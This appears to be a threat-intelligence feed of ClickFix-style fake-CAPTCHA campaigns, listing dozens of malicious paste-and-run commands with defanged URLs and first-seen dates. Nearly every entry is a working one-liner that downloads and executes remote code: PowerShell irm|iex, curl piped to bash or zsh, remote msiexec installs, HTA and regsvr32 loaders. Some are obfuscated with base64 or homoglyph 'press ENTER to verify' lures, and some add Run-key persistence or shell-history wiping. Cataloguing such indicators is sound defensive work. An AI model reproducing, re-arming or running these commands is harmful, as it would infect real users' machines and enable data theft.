cmd /c "curl -s http:/198[.]13[.]158[.]127:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B //E:VBScript %temp%dd.vbs && exit"

URL hxxp://198[.]13[.]158[.]127:5506/dd.vbs

First seen 6 September 2026, 2 URLs on this host.

iwr -Uri ('hxxps://unavailablerobot[.]online/get_verify?i=22118&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)399[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)399[.]zip','$($pwd)399'); attrib +h +s '$($pwd)399'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'glacier' -val '$($pwd)399bin.exe'; saps -F '$($pwd)399bin.exe' -Wo '$($pwd)399'; sleep 60; iwr -Uri ('hxxps://unavailablerobot[.]online/debug_info?i=22118&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)399'|ForEach-Object {

URL hxxps://unavailablerobot[.]online/get_verify?i=22118&a=

First seen 29 September 2026, 24 URLs on this host.

mSIEXEc.exe /ᵖᵃᶜᵏᵃᵍᵉ http:\\www-cf[.]com\ust6ld9p4zvs9y /Q S1="Nеtwоrk Ассеss Вrоkеr 10.0.22621 асtivе                                 То  vеrify  рush  thе  ЕNTЕR  kеy             "

URL hxxp://www-cf[.]com/ust6ld9p4zvs9y

First seen 28 September 2026, 11 URLs on this host.

msiexec /i hxxps://www[.]rjccabinets[.]com[.]au/redirect

URL hxxps://www[.]rjccabinets[.]com[.]au/redirect

First seen 6 September 2026, 1 URL on this host.

MSiexEC.exe /i https:/\LD-web[.]cfd\et7dz76i3zqfwh /QN S1="Diаgnоs1iс  S6rrоgаtе  3оst  о1                               𝗧​𝗼  𝘃​𝗲𝗿𝗶𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁𝗵​𝗲  𝗘𝗡𝗧​𝗘𝗥  𝗸​𝗲𝘆          "

URL hxxps://LD-web[.]cfd/et7dz76i3zqfwh

First seen 1 November 2026, 10 URLs on this host.

powershell -w h -ep b -c "$t=$env:TEMP;iwr 'hxxps://soutslts[.]com/win/el5frc/90fd9950.exe' -O $t\x.exe;Unblock-File $t\x.exe -ea 0;& $t\x.exe"

URL hxxps://soutslts[.]com/win/el5frc/90fd9950.exe

First seen 10 October 2026, 10 URLs on this host.

export SRC_URL=\x27{_0x35ac5c}' && (cd /tmp && curl -kfsSL "hxxp://45[.]159[.]144[.]59/0b14dc8b215018df?force=1" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf \x27033[3J\x27; history -d $(history 1 2>/dev/null | awk \x27{print $1}\x27) 2>/dev/null; fc -p /dev/null 2>/dev/null; printf \x27
  033[32m✓ Verification successful033[0m

\x27

URL hxxp://45[.]159[.]144[.]59/0b14dc8b215018df?force=1

First seen 29 October 2026, 1 URL on this host.

export SRC_URL=\x27{_0x592dd2}' && (cd /tmp && curl -kfsSL "hxxp://77[.]221[.]153[.]100/d2503d96a3?force=1\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\n  \033[32m✓ Verification successful\033[0m\n\n'

URL hxxp://77[.]221[.]153[.]100/d2503d96a3?force=1

First seen 3 October 2026, 1 URL on this host.

echo "Checking..." && echo '[base64 of: echo "Installing..." && /bin/bash -c "$(curl -fsSL hxxps://buildkit95[.]tools/cpuym47gkp)" && echo "Done!"]' | base64 -d | bash && echo "Done! ; curl -fsS 'hxxps://joknsdfgjojipogfdfgsjksf[.]icu/x/verify' >/dev/null"

URL hxxps://joknsdfgjojipogfdfgsjksf[.]icu/x/verify

First seen 11 October 2026, 3 URLs on this host.

irm kalooms[.]com/check/update.ps1|iex

URL hxxp://kalooms[.]com/check/update.ps1

First seen 2 October 2026, 2 URLs on this host.

iwr -Uri ('hxxps://webpageclouds[.]online/get_verify?i=4209&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)116[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)116[.]zip','$($pwd)116'); attrib +h +s '$($pwd)116'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'shade_grey_leaf' -val '$($pwd)116bin.exe'; saps -F '$($pwd)116bin.exe' -Wo '$($pwd)116'

URL hxxps://webpageclouds[.]online/get_verify?i=4209&a=

First seen 13 October 2026, 12 URLs on this host.

powershell -nop -c "$f=$env:TEMP+'\clakr.ps1';curl.exe -sk -o $f 'hxxps://bingixllc[.]com/58ipaB61LkhoZoi4';powershell -ep bypass -File $f"

URL hxxps://bingixllc[.]com/58ipaB61LkhoZoi4

First seen 23 October 2026, 6 URLs on this host.

MsIeXEC.exe /i https:/\cf-relay[.]sbs\lf4nbvopfkwsx1 /QN S1="Diа​gnоstiс Uрd​аtе                                                 Т​о  vеr​ify  рus​h  th​е  ЕNT​ЕR  kе​y             "

URL hxxps://cf-relay[.]sbs/lf4nbvopfkwsx1

First seen 21 October 2026, 8 URLs on this host.

iwr -Uri ('hxxps://cloudyredirect[.]online/get_verify?i=4208&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)202[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)202[.]zip','$($pwd)202'); attrib +h +s '$($pwd)202'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'beach_stone_elderberry' -val '$($pwd)202bin.exe'; saps -F '$($pwd)202bin.exe' -Wo '$($pwd)202'

URL hxxps://cloudyredirect[.]online/get_verify?i=4208&a=

First seen 12 October 2026, 12 URLs on this host.

MsiEXEc.exe /i https:/\id-cf[.]com\xi6vje7lbfffom /QN S1="S​есur​ity Мо​nitо​r                                                  Т​о  vеrif​y  рus​h  th​е  ЕNTЕ​R  k​еy             "

URL hxxps://id-cf[.]com/xi6vje7lbfffom

First seen 19 October 2026, 8 URLs on this host.

curl -s $(echo "[base64 of: hxxps://lens80[.]com/curl/jcpqtd6mc/luwhovem7whnfhext2tspeyi.json]" | openssl base64 -d -A) | zsh

URL hxxps://lens80[.]com/curl/jcpqtd6mc/luwhovem7whnfhext2tspeyi.json

First seen 5 October 2026, 1 URL on this host.

powershell -w h -ep b -c "$t=$env:TEMP;iwr 'hxxps://seaopencd[.]com/win/mlyssx/6c42c7a3.exe' -O $t\x.exe;Unblock-File $t\x.exe -ea 0;& $t\x.exe"

URL hxxps://seaopencd[.]com/win/mlyssx/6c42c7a3.exe

First seen 11 October 2026, 10 URLs on this host.

$f=$env:TEMP+'\x.ps1';irm ('astroznenekey[.]com/'+'dRumgePjnWEuabeNP') -OutFile $f;$e=[Management.Automation.Language.Parser]::ParseFile($f,[ref]$null,[ref]$null);&($e.GetScriptBlock())

URL hxxp://astroznenekey[.]com/

First seen 25 September 2026, 2 URLs on this host.

powershell $FMpy='ExportedCommands';$eaL='Keys';$UoBV='g';$mo='mo'.toString();$UoBV=$UoBV+$mo;$FTT=@(foreach($rkAT in .$UoBV -List){$rkAT.$FMpy.$eaL});$Ieq=$FTT-clike'*o*x*r*n';$Ulw=$FTT-clike'*-R*M*h*';$Ulw=.$Ulw foxhood[.]net;$Ieq=.$Ieq $Ulw;

URL hxxp://foxhood[.]net

First seen 27 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set f=cu&set d=rl&for %g in (%LocalAppData%\prospect.hta) do !f!!d! -skLo "%g" sloughandnephrite[.]com/wave& start "" "%g")"

URL hxxp://sloughandnephrite[.]com/wave

First seen 15 October 2026, 1 URL on this host.

$a=irm 'spielportal[.]com/cj5JpRGuScm5B9ok7';$o=[pscustomobject]@{v=1};$o|Add-Member ScriptProperty p ([ScriptBlock]::Create($a));$o.p|Out-Null

URL hxxp://spielportal[.]com/cj5JpRGuScm5B9ok7

First seen 2 September 2026, 1 URL on this host.

irm 'browscheck[.]codes/b4351749235e8002'|iex

URL hxxp://browscheck[.]codes/b4351749235e8002

First seen 30 September 2026, 6 URLs on this host.

msiexec /q /i hxxps://distnode[.]biz/deploy-named-queue/macro

URL hxxps://distnode[.]biz/deploy-named-queue/macro

First seen 11 October 2026, 2 URLs on this host.

msieXeC.exe /i https:/\lD-me[.]cfd\uk89ucudnoryj6 /QN S1="Маnаgе5еnt  Diаgnоsti6  Stоrаg7  2еаdy                        𝚃​𝚘  𝚟𝚎𝚛𝚒​𝚏𝚢  𝚙𝚞𝚜​𝚑  𝚝​𝚑𝚎  𝙴𝙽𝚃𝙴​𝚁  𝚔​𝚎𝚢          "

URL hxxps://lD-me[.]cfd/uk89ucudnoryj6

First seen 23 October 2026, 6 URLs on this host.

URL hxxp://leebin101[.]com/r

First seen 24 September 2026, 1 URL on this host.

IEX((New-Object Net.WebClient).DownloadString('hxxps://moss[.]coffeecommongrounds[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------

URL hxxps://moss[.]coffeecommongrounds[.]com/pidor.ps1

First seen 15 October 2026, 1 URL on this host.

msiexec /i hxxp://rangenine[.]com/assets/verify

URL hxxp://rangenine[.]com/assets/verify

First seen 7 September 2026, 2 URLs on this host.

URL hxxps://still-snow-667e[.]protexweer[.]workers[.]dev/gd?id=abc520da-5ea341f2

First seen 1 September 2026, 1 URL on this host.

$(curl -fsSL hxxp://144[.]31[.]169[.]27/Vavopalu)

URL hxxp://144[.]31[.]169[.]27/Vavopalu

First seen 7 September 2026, 2 URLs on this host.

pcalua.exe -a cmd -c "/c curl.exe -s hxxps://193-233-126-53[.]sslip[.]io/d3f8a142c9/verification.sct -o %TEMP%\v.sct&&regsvr32 /s /n /u /i:%TEMP%\v.sct scrobj.dll"

URL hxxps://193-233-126-53[.]sslip[.]io/d3f8a142c9/verification.sct

First seen 3 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]cuestmoon[.]com/gtr& start "" "%y")"

URL hxxp://api[.]cuestmoon[.]com/gtr

First seen 12 October 2026, 1 URL on this host.

msiexec /i hxxps://bnsbackend[.]mydevsystems[.]com/redirect /qn

URL hxxps://bnsbackend[.]mydevsystems[.]com/redirect

First seen 7 September 2026, 1 URL on this host.

irm hxxps://checkms5[.]cc/ps/traffic?r=83e7|iex

URL hxxps://checkms5[.]cc/ps/traffic?r=83e7

First seen 28 September 2026, 5 URLs on this host.

curl -s $(echo "[base64 of: hxxps://coral79[.]com/curl/qgxizgwbqv/8hicwyf19i21eeck4s.json]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://cleanavcheskre[.]com/x/proliv2929' >/dev/null

URL hxxps://coral79[.]com/curl/qgxizgwbqv/8hicwyf19i21eeck4s.json

First seen 29 September 2026, 1 URL on this host.

[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://duranvebwiewllc[.]com/It9HL8vPg8oU23WvF' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1

URL hxxps://duranvebwiewllc[.]com/It9HL8vPg8oU23WvF

First seen 29 September 2026, 4 URLs on this host.

cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\Downloads\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('hxxps://ghost[.]nestdns[.]com/files', $y);& $y;Remove-Item $y -Force;"

URL hxxps://ghost[.]nestdns[.]com/files

First seen 4 October 2026, 1 URL on this host.

msiexec /i hxxp://inkbookwriters[.]com/verify /qn

URL hxxp://inkbookwriters[.]com/verify

First seen 11 October 2026, 1 URL on this host.

curl -s $(echo "[base64 of: hxxps://miumaco[.]space/loader_v2[.]sh?build=Claud&owner=Wim6BQfc]" | base64 -d) | zsh ; curl -fsS 'hxxps://hagosuro[.]lc/api?t=c53b4796704f82fc1c4d20f58ef1b7f6364c0fcf&track=1&event=launch_ok' >/dev/null

URL hxxps://miumaco[.]space/loader_v2[.]sh?build=Claud&owner=Wim6BQfc

First seen 11 October 2026, 1 URL on this host.

(irm 'hxxps://renotad[.]com/lom1/4db92c9facd705da' -UserAgent 'WUA/fff7c63a77' -Headers @{'X-WUA'='fff7c63a77'})|iex

URL hxxps://renotad[.]com/lom1/4db92c9facd705da

First seen 5 October 2026, 5 URLs on this host.

MSieXeC.exe /i https:/\WWW-cf[.]sbs\7faq71wpp5i2ml /QN S1="с0rе  r3аdy  8urrоgаtе  7аss                                  𝗧​𝗼  𝘃𝗲𝗿​𝗶𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁​𝗵𝗲  𝗘𝗡​𝗧𝗘𝗥  𝗸​𝗲𝘆          "

URL hxxps://WWW-cf[.]sbs/7faq71wpp5i2ml

First seen 31 October 2026, 5 URLs on this host.

echo "[base64 of: curl -s -o /tmp/chrome hxxp://109[.]238[.]87[.]111/d/unix72040355; chmod +x /tmp/chrome; /tmp/chrome > /dev/null 2>&1 & disown]" | base64 -d | bash; curl -fsS 'hxxps://cleanavcheskre[.]com/x/ug' >/dev/null

URL hxxp://109[.]238[.]87[.]111/d/unix72040355

First seen 15 October 2026, 2 URLs on this host.

cmd /c "curl -s hxxp://178[.]17[.]59[.]195:5506/ll.vbs -o %temp%\ll.vbs >nul && wscript.exe //B //E:VBScript %temp%\ll.vbs"

URL hxxp://178[.]17[.]59[.]195:5506/ll.vbs

First seen 20 September 2026, 1 URL on this host.

URL hxxp://cocuktekstil[.]com/r

First seen 30 September 2026, 1 URL on this host.

[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://dns-ssl[.]com/mgk9wvvm4RfVNWO2GN' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1

URL hxxps://dns-ssl[.]com/mgk9wvvm4RfVNWO2GN

First seen 25 September 2026, 3 URLs on this host.

IEX((New-Object Net.WebClient).DownloadString('hxxps://lion[.]elfrias[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------

URL hxxps://lion[.]elfrias[.]com/pidor.ps1

First seen 14 October 2026, 1 URL on this host.

[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://nonprofitrole[.]com/GMthlyLoTD7g5J4UnA' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1

URL hxxps://nonprofitrole[.]com/GMthlyLoTD7g5J4UnA

First seen 29 September 2026, 4 URLs on this host.

$(curl -fsSL hxxps://pkgsetup3[.]tools/otak6seusoo)

URL hxxps://pkgsetup3[.]tools/otak6seusoo

First seen 30 October 2026, 2 URLs on this host.

MSiexec /PaCKAᵍᵉ "http:\\preconnecto[.]com\IntegraTester.php?ver=34323455" -Q

URL hxxp://preconnecto[.]com/IntegraTester.php?ver=34323455

First seen 6 October 2026, 1 URL on this host.

powershell -NoProfile -c "$z='seccheckusr[.]com';@(0)|&([char]37){'jq38k'}|&([char]37){&([ScriptBlock]::Create($(@(0)|&([char]37){&('{0}{1}{2}'-f'Invo','ke-','RestMethod') $z}|&('Select'+'-'+'Object') -f 1)))}"

URL hxxp://seccheckusr[.]com

First seen 27 October 2026, 1 URL on this host.

URL hxxp://soft-storage[.]top/worker?=6526700278/admin_click

First seen 4 October 2026, 2 URLs on this host.

msiexec /qn /i "hxxps://verifyidentitypc[.]com/success" /l*v "%TEMP%Verification completed successfully. Security ID: 492132.

URL hxxps://verifyidentitypc[.]com/success

First seen 26 September 2026, 2 URLs on this host.

& {curl.exe -s hxxps://vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com/p.ps1 -o $env:TEMPcf.ps1; [scriptblock]::Create((gc $env:TEMPcf.ps1 -Raw)).Invoke()}__V__E__R__I___F__I__E__D ________________________________

URL hxxps://vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com/p.ps1

First seen 12 October 2026, 1 URL on this host.

powershell $xSm=@(foreach($dHxY in gmo -List){$dHxY.ExportedCommands.Keys});$XlpFq=$xSm-clike'*o*x*r*n';$HiIr=$xSm-clike'*-R*M*h*';$HiIr=.$HiIr warmal[.]net;$XlpFq=.$XlpFq $HiIr;

URL hxxp://warmal[.]net

First seen 20 October 2026, 1 URL on this host.

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x1.exe&echo .\x1.exe -sLoa.cmd hxxps://yaebalciganovvjopu[.]org/h/c/dafc8f2722b34086&echo .\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\t.cmd& pcalua -a %PUBLIC%\t.cmd&rem reCaptcha ID: 707867"

URL hxxps://yaebalciganovvjopu[.]org/h/c/dafc8f2722b34086&echo

First seen 3 November 2026, 4 URLs on this host.

powershell -WI mINImi $TE=wget 185[.]100[.]157[.]126/script -Useb;iex $TE`;#-------------------------------Verify_you_are_human--------press_Enter---

URL hxxp://185[.]100[.]157[.]126/script

First seen 13 September 2026, 1 URL on this host.

cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h[.]Open "GET","hxxp://95[.]164[.]53[.]115:5506/do.vbs",0:h.Send:Execute h.ResponseText > "%temp%do.tmp" && wscript //E:VBScript "%temp%do.tmp"

URL hxxp://95[.]164[.]53[.]115:5506/do.vbs

First seen 6 September 2026, 1 URL on this host.

irm hxxps://allowcsxan2[.]site/ps/traffic?r=86fa|iex

URL hxxps://allowcsxan2[.]site/ps/traffic?r=86fa

First seen 2 October 2026, 3 URLs on this host.

mSIeXec.exe /i https:/\api-c[.]cfd\dnool1cvynr76h /QN S1="s8nс  Маnаgеm8nt  сас8е  7iаgnоstiс                           𝚃​𝚘  𝚟𝚎​𝚛𝚒𝚏𝚢  𝚙𝚞𝚜​𝚑  𝚝𝚑​𝚎  𝙴𝙽𝚃​𝙴𝚁  𝚔𝚎​𝚢          "

URL hxxps://api-c[.]cfd/dnool1cvynr76h

First seen 22 October 2026, 3 URLs on this host.

powershell -w h -ep bypass -c "iex((iwr 'hxxps://berrysoai[.]com/check/update.ps1' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/536.36 Safari/537.37 Edg/145[.]0[.]0[.]0').Content)"

URL hxxps://berrysoai[.]com/check/update.ps1

First seen 26 September 2026, 1 URL on this host.

$(curl -fsSL hxxps://buildkit95[.]tools/cpuym47gkp)

URL hxxps://buildkit95[.]tools/cpuym47gkp

First seen 3 November 2026, 1 URL on this host.

URL hxxp://ccudmcx[.]xyz/u

First seen 10 September 2026, 1 URL on this host.

msIExec.exe /i https:/\CFwww[.]cfd\s4svbr1pk87k8t /QN S1="соr6  Моn3tоr  Васkgrоun4  In9tаllеr                          𝗧​𝗼  𝘃𝗲𝗿𝗶𝗳​𝘆  𝗽𝘂​𝘀𝗵  𝘁​𝗵𝗲  𝗘​𝗡𝗧𝗘𝗥  𝗸​𝗲𝘆          "

URL hxxps://CFwww[.]cfd/s4svbr1pk87k8t

First seen 3 November 2026, 3 URLs on this host.

irm hxxps://checkrobotbb[.]pw/ps/traffic?r=40bc|iex

URL hxxps://checkrobotbb[.]pw/ps/traffic?r=40bc

First seen 22 September 2026, 3 URLs on this host.

irm hxxps://chekcms432[.]cc/ps/traffic?r=8f07|iex

URL hxxps://chekcms432[.]cc/ps/traffic?r=8f07

First seen 30 September 2026, 3 URLs on this host.

irm domlitonck[.]com/check/update.ps1|iex

URL hxxp://domlitonck[.]com/check/update.ps1

First seen 22 October 2026, 1 URL on this host.

curl -kfsSL $(echo '[base64 of: hxxp://genovaw[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336]'|base64 -D)|zsh

URL hxxp://genovaw[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336

First seen 16 September 2026, 1 URL on this host.

irm gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70 | iex

URL hxxp://gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70

First seen 26 September 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\HUREAG.hta) do !x!!c! -skLo "%y" gulchandlapis[.]com/hns& start "" "%y")"

URL hxxp://gulchandlapis[.]com/hns

First seen 7 October 2026, 1 URL on this host.

powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('hxxps://hashedsolver[.]icu/update1.ps1');.([scriptblock]::create(`$dpq))"

URL hxxps://hashedsolver[.]icu/update1.ps1

First seen 7 September 2026, 1 URL on this host.

$a=&(gcm Invoke-RestMethod) 'hxxp://jasaxoptim[.]com/PLzdo6sQyUSjV75AlL';&(gcm *voke-Ex*)($a)

URL hxxp://jasaxoptim[.]com/PLzdo6sQyUSjV75AlL

First seen 6 September 2026, 1 URL on this host.

irm 'hxxps://managedhosting[.]space/0fb84918c131bb13'|iex

URL hxxps://managedhosting[.]space/0fb84918c131bb13

First seen 1 November 2026, 1 URL on this host.

irm neebyishaka[.]com/check/update.ps1|iex

URL hxxp://neebyishaka[.]com/check/update.ps1

First seen 29 October 2026, 1 URL on this host.

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x1.exe&echo .\x1.exe -sLoa.cmd hxxps://pakistanskimalchik[.]org/h/c/558d7c55341c94a0&echo .\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\t.cmd& pcalua -a %PUBLIC%\t.cmd&rem reCaptcha ID: 957435"

URL hxxps://pakistanskimalchik[.]org/h/c/558d7c55341c94a0&echo

First seen 30 October 2026, 3 URLs on this host.

msiexec /i hxxps://pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha

URL hxxps://pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha

First seen 22 September 2026, 1 URL on this host.

powershell $yWTA=gmo -Li|ForEach-Object { $_.ExportedCommands.Keys }|Sort-Object -Unique;$Cap=$yWTA-clike'*o*x*r*n';$GDthi=$yWTA-clike'*-R*M*h*';$GDthi=.$GDthi unbowal[.]com;$Cap=.$Cap $GDthi;

URL hxxp://unbowal[.]com

First seen 13 October 2026, 1 URL on this host.

cmd /c "curl -s hxxp://178[.]17[.]59[.]40:5506/qk.vbs -o %temp%\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\qk.vbs"

URL hxxp://178[.]17[.]59[.]40:5506/qk.vbs

First seen 11 October 2026, 1 URL on this host.

URL hxxps://1foqo[.]lat/core

First seen 6 September 2026, 1 URL on this host.

URL hxxp://1rvrental[.]com/r

First seen 6 October 2026, 1 URL on this host.

cmd /c "curl -o %TEMP%\menu.bat hxxp://47[.]243[.]127[.]162/menu.bat && %TEMP%\menu.bat"

URL hxxp://47[.]243[.]127[.]162/menu.bat

First seen 21 September 2026, 1 URL on this host.

cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h[.]Open "GET","hxxp://78[.]40[.]209[.]164:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%wk.vbs" && "%temp%wk.vbs"

URL hxxp://78[.]40[.]209[.]164:5506/wk.vbs

First seen 11 October 2026, 1 URL on this host.

powershell -c "iex(irm '85[.]239[.]149[.]16/CloudFlare_Verification_Code_845270' -UseBasicParsing)"

URL hxxp://85[.]239[.]149[.]16/CloudFlare_Verification_Code_845270

First seen 6 September 2026, 2 URLs on this host.

clear
echo "Loading... Please Wait"
curl -s hxxp://86[.]54[.]25[.]213/d/unix32294578 > /tmp/unix001
chmod +x /tmp/unix001
/tmp/unix001 > /dev/null 2>&1 & disown

URL hxxp://86[.]54[.]25[.]213/d/unix32294578

First seen 6 September 2026, 1 URL on this host.

URL hxxps://alababababa[.]cloud/cVGvQio6.txt

First seen 11 October 2026, 1 URL on this host.

curl -kfsSL $(echo '[base64 of: hxxp://alluringsites[.]com/curl/bd2992d8187bf661299aa2355ea13650bc415eb2870588d237c82061805a78d6]'|base64 -D)|zsh

URL hxxp://alluringsites[.]com/curl/bd2992d8187bf661299aa2355ea13650bc415eb2870588d237c82061805a78d6

First seen 29 October 2026, 1 URL on this host.

mSIEXeC.exe /i https:/\API-net[.]cfd\u14ssp8wsbfcdc /QN S1="Рrосеs8  Васk2rоund  4оnе  7оnitоr                            𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽𝘂𝘀​𝗵  𝘁​𝗵𝗲  𝗘𝗡𝗧​𝗘𝗥  𝗸𝗲​𝘆          "

URL hxxps://API-net[.]cfd/u14ssp8wsbfcdc

First seen 30 October 2026, 2 URLs on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]tundstone[.]com/drs& start "" "%y")"

URL hxxp://api[.]tundstone[.]com/drs

First seen 14 October 2026, 1 URL on this host.

msiexec /i hxxps://atikintech[.]com/onestep /qn

URL hxxps://atikintech[.]com/onestep

First seen 13 October 2026, 1 URL on this host.

curl -s $(echo "[base64 of: hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json]" | openssl base64 -d -A) | zsh

URL hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json

First seen 2 October 2026, 1 URL on this host.

curl -sf $(echo '[base64 of: hxxps://cache-assistant[.]com/ru1f6y/CnXRCeQ3Zp3s]' | base64 -d) | osascript -l JavaScript

URL hxxps://cache-assistant[.]com/ru1f6y/CnXRCeQ3Zp3s

First seen 15 September 2026, 1 URL on this host.

$t=$env:APPDATA+[char]92+"g";$z=$t+[char]92+"g[.]zip";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z "hxxps://cdn[.]kjhg[.]shop/seo/inst.php";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter "Snginstar.exe"|Select-Object -First 1;if($e){$w=[wmiclass]"Win32_Process";$w.Create($e.FullName)|Out-Null};exit

URL hxxps://cdn[.]kjhg[.]shop/seo/inst.php

First seen 6 October 2026, 1 URL on this host.

irm hxxps://checkmrobot[.]site/ps/traffic?r=0772|iex

URL hxxps://checkmrobot[.]site/ps/traffic?r=0772

First seen 24 September 2026, 2 URLs on this host.

URL hxxps://cupiakleanav[.]com/hex/lom/c0ccc480

First seen 1 September 2026, 2 URLs on this host.

msiexec /i hxxps://dorper[.]com[.]au/confirm /qn

URL hxxps://dorper[.]com[.]au/confirm

First seen 7 September 2026, 1 URL on this host.

powershell -ep bypass -w h -c "iwr 'hxxps://dosauthi[.]com/download/63s8bl/Package_b16888.exe' -OutFile $env:TEMP\a.exe;Unblock-File $env:TEMP\a.exe -EA 0;start $env:TEMP\a.exe"

URL hxxps://dosauthi[.]com/download/63s8bl/Package_b16888.exe

First seen 9 October 2026, 2 URLs on this host.

msiexec /i hxxps://espirevox[.]com/next /qn

URL hxxps://espirevox[.]com/next

First seen 7 September 2026, 1 URL on this host.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" fenandalabaster[.]com/oo& start "" "%y")"

URL hxxp://fenandalabaster[.]com/oo

First seen 16 October 2026, 1 URL on this host.

iwr -Uri 'hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd' -OutFile (Join-Path $env:APPDATA 'spai.ps1');

URL hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd

First seen 7 October 2026, 1 URL on this host.

%COMSPEC% /c start "" /m^i^n %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" holmandandesite[.]com/rsc& start "" "%y")" & rem              ---------- Human verification: press Enter to continue

URL hxxp://holmandandesite[.]com/rsc

First seen 31 October 2026, 1 URL on this host.

$f=$env:TEMP+'x.ps1';irm ('interactivsbroker[.]com/'+'6SCGq3844GIbfKdgg') -OutFile $f;$e=[Management.Automation.Language.Parser]::ParseFile($f,[ref]$null,[ref]$null);&($e.GetScriptBlock())

URL hxxp://interactivsbroker[.]com/

First seen 19 September 2026, 3 URLs on this host.

(irm 'hxxps://interseq[.]at/h/706036f8a6192317' -UserAgent 'WUA/5d45126cd6' -Headers @{'X-WUA'='5d45126cd6'})|iex

URL hxxps://interseq[.]at/h/706036f8a6192317

First seen 13 September 2026, 2 URLs on this host.

IEX((New-Object Net.WebClient).DownloadString('hxxps://love[.]district7pho[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY -----------------------

